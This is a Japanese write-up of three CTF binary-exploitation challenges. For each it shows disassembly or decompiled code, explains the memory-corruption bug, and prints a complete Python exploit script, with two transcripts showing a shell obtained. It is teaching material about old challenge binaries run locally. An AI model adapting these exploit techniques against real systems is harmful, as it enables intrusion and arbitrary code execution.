pwn challenges list easy writeup その2
[29c3 CTF 2012] Exploitation - ru1337
ELF 32-bit、動的リンク、NX有効。
% file ru1337 ru1337: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=59b5bc146bf69a72324760ec5ca74b4012bf8443, stripped % checksec -f ru1337 RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 3 ru1337
実行するには引数に適当なポート番号を渡してそのポートに接続する必要がある。
% sudo ./ru1337 1000
% nc localhost 1000 ID&PASSWORD 1337NESS EVALUATION Please enter your username and password User: username Password: password u r not s0 1337zz!!!
実行するとユーザ名とパスワードが要求される。
8048895: a1 74 a0 04 08 mov eax,ds:0x804a074 804889a: c7 44 24 0c 00 00 00 mov DWORD PTR [esp+0xc],0x0 80488a1: 00 80488a2: c7 44 24 08 2c 00 00 mov DWORD PTR [esp+0x8],0x2c 80488a9: 00 80488aa: 8d 95 6c ff ff ff lea edx,[ebp-0x94] 80488b0: 83 ea 80 sub edx,0xffffff80 ; edx = ebp-0x14 80488b3: 89 54 24 04 mov DWORD PTR [esp+0x4],edx 80488b7: 89 04 24 mov DWORD PTR [esp],eax 80488ba: e8 d1 fd ff ff call 8048690 <recv@plt> 80488bf: c7 45 f4 00 00 00 00 mov DWORD PTR [ebp-0xc],0x0 80488c6: eb 63 jmp 804892b <send@plt+0x26b> 80488c8: 8d 55 ec lea edx,[ebp-0x14] 80488cb: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc] 80488ce: 01 d0 add eax,edx 80488d0: 0f b6 00 movzx eax,BYTE PTR [eax] 80488d3: 84 c0 test al,al 80488d5: 74 5a je 8048931 <send@plt+0x271> 80488d7: 8d 55 ec lea edx,[ebp-0x14] 80488da: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc] 80488dd: 01 d0 add eax,edx 80488df: 0f b6 00 movzx eax,BYTE PTR [eax] 80488e2: 3c 0a cmp al,0xa 80488e4: 74 4b je 8048931 <send@plt+0x271> 80488e6: e8 c5 fd ff ff call 80486b0 <__ctype_b_loc@plt> 80488eb: 8b 00 mov eax,DWORD PTR [eax] 80488ed: 8d 4d ec lea ecx,[ebp-0x14] 80488f0: 8b 55 f4 mov edx,DWORD PTR [ebp-0xc] 80488f3: 01 ca add edx,ecx 80488f5: 0f b6 12 movzx edx,BYTE PTR [edx] 80488f8: 0f be d2 movsx edx,dl 80488fb: 01 d2 add edx,edx 80488fd: 01 d0 add eax,edx 80488ff: 0f b7 00 movzx eax,WORD PTR [eax] 8048902: 0f b7 c0 movzx eax,ax 8048905: 25 00 04 00 00 and eax,0x400 804890a: 85 c0 test eax,eax 804890c: 75 19 jne 8048927 <send@plt+0x267> ; if (__ctype_b_log()[c*2]&0x400) jump; 804890e: a1 74 a0 04 08 mov eax,ds:0x804a074 8048913: 89 04 24 mov DWORD PTR [esp],eax 8048916: e8 85 fd ff ff call 80486a0 <close@plt> 804891b: c7 04 24 00 00 00 00 mov DWORD PTR [esp],0x0 8048922: e8 c9 fc ff ff call 80485f0 <exit@plt> 8048927: 83 45 f4 01 add DWORD PTR [ebp-0xc],0x1 804892b: 83 7d f4 07 cmp DWORD PTR [ebp-0xc],0x7 804892f: 7e 97 jle 80488c8 <send@plt+0x208>
上のコードからユーザ名の先頭8文字はアルファベットでないといけない(__ctype_b_loc()[c*2]&0x400
でアルファベットの判定ができると知ってちょっと感動した)。また、0x2c文字入力できるがebp-0x14から書き込んでいるためスタックバッファオーバーフローする→SSPが無効であるためROPができる。しかしROPで使える領域が少ないため、ここで使えそうな攻撃方法は少なくとも以下の2通り。
- recvでbss領域にROPを構成し、stack pivotによってespをbssに移す。そのROPではlibcのアドレスのリーク、system("/bin/sh")の呼び出しによりシェルを起動する。
- すでにmmapされた領域があり、そこにパスワードを書き込むため、mprotectでその領域を実行可能にしてシェルコードを実行する(つまりパスワードの部分にシェルコードを入力する)。retする前にdupを行ってくれているため、シェルコードの中でdupをする必要はない。
recvの引数が4つ必要だが、今回はそれに十分な領域がないため1.はうまくいかず2.をした。
#!/usr/bin/env python from pwnlib import * if __name__ == '__main__': s = Remote('localhost',1000) mprotect_plt = 0x8048580 mmaped_addr = 0xbadc000 payload = '' payload += 'A' * 24 payload += p32(mprotect_plt) payload += p32(mmaped_addr + 0x8) payload += p32(mmaped_addr) + p32(0x100) + p32(0x7) s.send(payload) s.send(get_shellcode('lin32')) s.interact()
[ksnctf] #23 Villager B
常設なのでwriteupは書きません。
[Gits CTF 2013] Q10 - Back2Skool
ELF 32-bit、動的リンク、PIE以外有効。
% file back2skool-3fbcd46db37c50ad52675294f566790c777b9d1f back2skool-3fbcd46db37c50ad52675294f566790c777b9d1f: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=11bb5ef1093d67ff93fcba5ada4b692fe95aeec7, stripped % checksec -f back2skool-3fbcd46db37c50ad52675294f566790c777b9d1f RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 3 back2skool-3fbcd46db37c50ad52675294f566790c777b9d1f
back2skoolというユーザを作成してから実行して、localhost:31337に接続する。
% nc localhost 31337 __ ___ __ __ _____ / |/ /___ _/ /_/ /_ / ___/___ ______ __ v0.01 / /|_/ / __ `/ __/ __ \\__ \/ _ \/ ___/ | / / / / / / /_/ / /_/ / / /__/ / __/ / | |/ / /_/ /_/\__,_/\__/_/ /_/____/\___/_/ |___/ =============================================== Welcome to MathServ! The one-stop shop for all your arithmetic needs. This program was written by a team of fresh CS graduates using only the most agile of spiraling waterfall development methods, so rest assured there are no bugs here! Your current workspace is comprised of a 10-element table initialized as: { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 } Commands: read Read value from given index in table write Write value to given index in table func1 Change operation to addition func2 Change operation to multiplication math Perform math operation on table exit Quit and disconnect
コマンドが6つあり、それぞれ
- read: 0~9のインデックスを指定して配列の要素を読む(入力が0~9であるか判定を行っていないため、任意のアドレスの値を読むことができる。これでlibc baseを取得)
- write: 0~9のインデックスを指定して配列の要素に書き込む(9以下であるか判定を行っている。)
- func1: mathで使われる関数を配列の足し算をする関数に書き換える
- func2: mathで使われる関数を配列の掛け算をする関数に書き換える
- math: func1またはfunc2で書き込まれた関数を実行する(関数のポインタはread,writeで使う配列よりも大きなアドレスに位置している。なので単純にwriteで書き込むことはできない。また、関数の引数は配列の先頭)
- exit: プログラムを終了する
方針としてはmathをsystemに書き換えて、配列に"/bin/sh"を書き込み、シェルを起動したい。
ここでwriteのアセンブリコードを見てみる。
0804918e <math_write@@Base>: 804918e: 55 push ebp 804918f: 89 e5 mov ebp,esp 8049191: 53 push ebx 8049192: 83 ec 44 sub esp,0x44 ... 80491e3: 8d 55 e0 lea edx,[ebp-0x20] 80491e6: 89 54 24 04 mov DWORD PTR [esp+0x4],edx 80491ea: 89 04 24 mov DWORD PTR [esp],eax 80491ed: e8 d6 fd ff ff call 8048fc8 <read_string> 80491f2: 8d 45 e0 lea eax,[ebp-0x20] 80491f5: 89 04 24 mov DWORD PTR [esp],eax 80491f8: e8 63 f7 ff ff call 8048960 <atoi@plt> 80491fd: 89 45 d8 mov DWORD PTR [ebp-0x28],eax 8049200: 83 7d d8 09 cmp DWORD PTR [ebp-0x28],0x9 8049204: 7e 1f jle 8049225 <math_write@@Base+0x97> <-- if (index <= 9) /* print error and return */ ... 8049257: 8d 55 e0 lea edx,[ebp-0x20] 804925a: 89 54 24 04 mov DWORD PTR [esp+0x4],edx 804925e: 89 04 24 mov DWORD PTR [esp],eax 8049261: e8 62 fd ff ff call 8048fc8 <read_string> 8049266: 8d 45 e0 lea eax,[ebp-0x20] 8049269: 89 04 24 mov DWORD PTR [esp],eax 804926c: e8 ef f6 ff ff call 8048960 <atoi@plt> 8049271: 89 45 dc mov DWORD PTR [ebp-0x24],eax 8049274: 8b 83 84 00 00 00 mov eax,DWORD PTR [ebx+0x84] 804927a: 8b 55 d8 mov edx,DWORD PTR [ebp-0x28] 804927d: 8b 4d dc mov ecx,DWORD PTR [ebp-0x24] 8049280: 89 0c 90 mov DWORD PTR [eax+edx*4],ecx <-- *(int *)(list_addr + 4 * index) = input ... 80492c8: 5b pop ebx 80492c9: 5d pop ebp 80492ca: c3 ret
重要なのは矢印で示した部分。始めにindexが9以下かどうかを判定して、そうでなければreturnする。次にindexに4を掛けて配列のアドレスに足し、そのアドレスに入力した数値を格納している。mathで使う関数ポインタは配列よりも大きなアドレスに位置しているため(具体的には、配列が0x804c040で関数ポインタが0x804c078)、ここでmathを書き換えるならば、indexを負の値にしてチェックを抜けながらも書き込む際は9よりも大きなindexになっていなければならない。それは可能で、indexを4倍するとオーバーフローするような負の値にするとうまくいく。
これでmathをsystemに書き換えることができるので、後は"/bin/sh"(今回はfork-server型なので"/bin/sh <&4 >&4")を数値に直しながら配列に入れる。
#!/usr/bin/env python from pwnlib import * def read(index): s.sendline('read') s.sendline(str(index)) s.recvuntil('Value at position %d: ' % index) def write(index,data): s.sendline('write') s.sendline(str(index)) s.sendline(str(data)) if __name__ == '__main__': s = Remote('localhost',31337) read_got = 0x804bf68 read_offset = 0xd4350 system_offset = 0x3a940 values_addr = 0x804c040 math_addr = 0x804c078 read((read_got - values_addr) // 4) libc_base = int(s.recvline()) + (1<<32) - read_offset print '[*] libc base: %#x' % libc_base write((math_addr - values_addr) // 4 + (1<<31) - (1<<32),libc_base + system_offset - (1<<32)) cmd = '/bin/sh <&4 >&4' for i in range(0,len(cmd),4): write(i//4,u32(cmd[i:i+4])) s.recvuntil('position %d: ' % (i // 4)) s.recvline() s.sendline('math') s.interact()
% ./exploit.py [*] libc base: 0xf7543000 [*] Switching to interactive mode $ id uid=1002(back2skool) gid=1002(back2skool) groups=1002(back2skool) $
[CodeGate 2013] Vuln400
ELF 32-bit、動的リンク、SSPとNX有効。
% file 7b80d4d56c282a310297336752c589b7 7b80d4d56c282a310297336752c589b7: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=df1400ff3d8b9c6d5b3572fbe3763dc28756ac70, stripped % checksec -f 7b80d4d56c282a310297336752c589b7 RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 4 7b80d4d56c282a310297336752c589b7
実行すると何秒か待たされるので、バイナリエディタを使うなどしてsleepの時間を0に変えておく。
% ./7b80d4d56c282a310297336752c589b7 _______________________________ /==============================/ | Onetime Board Console | /------------------------------/ | | WELCOME | | |__________|_________|_________| | W a i t | ++++++++++++++++++++++++++++++++ 1. Write 2. Read 3. Exit => 1 Author : h_noson Title : Vuln400 Content : ELF 32-bit... 1. Write 2. Read 3. Exit => 2 | number| author | title ----------------------------------------------- | 1 | h_noson | Vuln400 ----------------------------------------------- Number : 1 =================================== || 1 || h_noson || Vuln400 =================================== |content | ELF 32-bit... =================================== | |====> Welcome, It's Auto reply system 1. delete 2. modify 3. reply 4. back => 3 Reply : hoge 1. delete 2. modify 3. reply 4. back => 2 Author : h_noson Title : Vuln800 1. delete 2. modify 3. reply 4. back => 1 Cannot Deleted. There's at least one or more replies on it 1. delete 2. modify 3. reply 4. back => 4
ノートを作って、それに対するコメントも行えるプログラム。ノートは6つまで作成可能であり、ノート作成後は削除、AuthorとTitleの編集、コメントが行える。削除しようとするとコメントが一件以上あるので削除できないと言われるが、自動的に一件コメントがついているのでこのままでは削除できない。freeができないとどうしようもないと思うので、freeをする方法を考えながらデコンパイルする。デコンパイル結果がこちら
main.c · GitHub
ノートとコメントそれぞれの構造体を使っていて、データはリストで繋がっている。
struct reply_t { int zero; int deebface; int number; char *msg; void (*func1)(struct reply_t *); void (*func2)(char *); struct reply_t *next; }; struct note_t { unsigned char replies; struct note_t *next; struct note_t *prev; void (*func1)(struct note_t *); void (*func2)(struct note_t *); struct reply_t *reply; int number; char *author; char *title; char *content; int deadbeef; };
- reply_t: 単方向リストで、コメントの文字列へのポインタと関数ポインタ2つが含まれている
- note_t: 双方向リストで、コメント数、著者・タイトル・本文の文字列へのポインタとコメントへのポインタ、関数ポインタ2つが含まれている
このコードには細かいバグはたくさんあるのですが、攻撃に使えるものは3つ。
1つ目は、コメント数(replies)がunsigned charで宣言されていること。コメントを256個作成すればオーバーフローしてコメント数を0にすることができる。これによってfreeが可能になる。
2つ目は、reply_tの関数ポインタが初期化されていないこと。freeする直前に、ある条件で関数ポインタをfreeに書き換えているため、用意しておいた領域にうまく割り当てを誘導しその条件を満たさなければ任意の関数を実行できる。今回systemがpltにあるのでそれを使える。
void delete(note_t *note) { if (note->replies != 0) { puts("Cannot Deleted. There's at least one or more replies on it"); return; } note->prev->next = note->next; note->next->prev = note->prev; if (note->deadbeef == 0xdeadbeef) { reply_t *reply = note->reply; while (reply->next != NULL) { reply->func1 = babeface; reply->func2 = _free; reply = reply->next; } } note->func2(note); }
note->deadbeefが0xdeadbeefであれば関数ポインタを書き換えるが、modifyをする際にnote->deadbeefも書き換わるのでそれによって関数ポインタを上書きされることを回避できる。
void modify(note_t *note) { memset(note->author,0,0xfa); memset(note->title,0,0xfa); scanf("%c",&_select); printf("Author : "); fgets(note->author,0xfa,stdin); note->author[strlen(note->author)-1] = '\0'; printf("Title : "); fgets(note->title,0xfa,stdin); note->title[strlen(note->title)-1] = '\0'; note->deadbeef = 0xc0deacbe; }
また、ノートを作成してる部分を見るとcontentは入力した文字列の長さだけ領域を確保している。
void write_note(note_t *note) { char c; char content[0x2000]; scanf("%c",&c); printf("Author : "); fgets(note->author,0xfa,stdin); note->author[strlen(note->author)-1] = '\0'; printf("Title : "); fgets(note->title,0xfa,stdin); note->title[strlen(note->title)-1] = '\0'; printf("Content : "); fgets(content,0x1f40,stdin); note->content = malloc(strlen(content)); memcpy(note->content,content,strlen(content)); note->content[strlen(note->content)-1] = '\0'; }
ノートの削除でこの領域もfreeするため、確保する領域をreply_tと同じ大きさにして、reply_tの領域を確保しようとしたときにfreeしたcontentの領域が返るようにすれば、関数ポインタを任意の関数に設定できる。
3つ目のバグは関数ポインタのチェックを先頭2つしかしていないこと。
void delete_note(note_t *note) { reply_t *reply = note->reply; for (int i = 0; i <= 1; i++) { if (reply->func2 != _free) { puts("Detected"); exit(1); } reply = reply->next; } while (reply->next != NULL) { reply->func2(reply->msg); reply = reply->next; } free(note->author); free(note->title); free(note->content); free(note); }
func2がfreeであるかを先頭2つだけチェックしているので、先頭2つはfreeを設定して、3つ目にsystemを設定すればうまくいく。
#!/usr/bin/env python from pwnlib import * def write(author,title,content): s.recvuntil('=> ') s.sendline('1') s.recvuntil('Author : ') s.sendline(author) s.recvuntil('Title : ') s.sendline(title) s.recvuntil('Content : ') s.sendline(content) def enter(num): s.recvuntil('=> ') s.sendline('2') s.recvuntil('Number : ') s.sendline(str(num)) def select(num): s.recvuntil('\t=> ') s.sendline(str(num)) def delete(): select(1) def modify(author,title): select(2) s.recvuntil('Author : ') s.sendline(author) s.recvuntil('Title : ') s.sendline(title) def reply(msg): select(3) s.recvuntil('Reply : ') s.sendline(msg) def back(): select(4) select(4) def back2(): select(4) if __name__ == '__main__': s = Local(['./7b80d4d56c282a310297336752c589b7'], env = {'TERM': 'xterm'}) system_plt = 0x8048630 free_addr = 0x80487c4 write('A','A','A') write('B','B','B' * 0x14 + p32(system_plt)) write('C','C','C' * 0x14 + p32(free_addr)) write('D','D','D' * 0x14 + p32(free_addr)) write('E','E','E') for i in range(2,5): enter(i) for j in range(0xff): reply('A') back() if i < 4 else back2() for i in range(2,5): enter(i) delete() back() if i < 4 else back2() write('F','F','F' * 0x100) enter(6) reply('A') reply('/bin/sh') for i in range(0xfd): reply('A') modify('A','A') back2() write('G','G','G') enter(6) delete() s.interact()
% ./exploit.py [*] Switching to interactive mode $ id uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd) $
続き